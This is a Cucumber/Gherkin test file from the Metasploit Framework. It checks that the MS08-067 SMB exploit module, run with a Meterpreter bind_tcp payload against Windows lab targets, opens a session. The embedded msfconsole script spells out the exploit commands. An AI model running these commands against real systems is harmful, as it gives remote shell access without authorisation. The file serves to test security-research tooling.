metasploit-framework/features/modules/exploit/smb/ms08_067_netapi.feature

27 lines
894 B
Gherkin
Raw Normal View History

2015-12-30 20:57:41 +00:00
@targets
2014-08-13 21:54:29 +00:00
Feature: MS08-067 netapi
Background:
Given a directory named "home"
And I cd to "home"
And a mocked home directory
2015-12-30 20:57:41 +00:00
Scenario: The MS08-067 should get a session with bind_tcp
Given I ready the windows targets
And a file named "ms08-067.rc" with:
"""
2015-12-30 20:57:41 +00:00
<ruby>
hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml')
self.run_single('use exploit/windows/smb/ms08_067_netapi')
self.run_single('set payload windows/meterpreter/bind_tcp')
hosts['windows'].each do |host|
self.run_single("set RHOST #{host['ip']}")
self.run_single('run')
sleep 1
end
</ruby>
"""
2015-12-30 20:57:41 +00:00
When I run `msfconsole --environment test -q -r ms08-067.rc -x exit`
Then the output should contain "[*] Exploit completed, 1 session was created."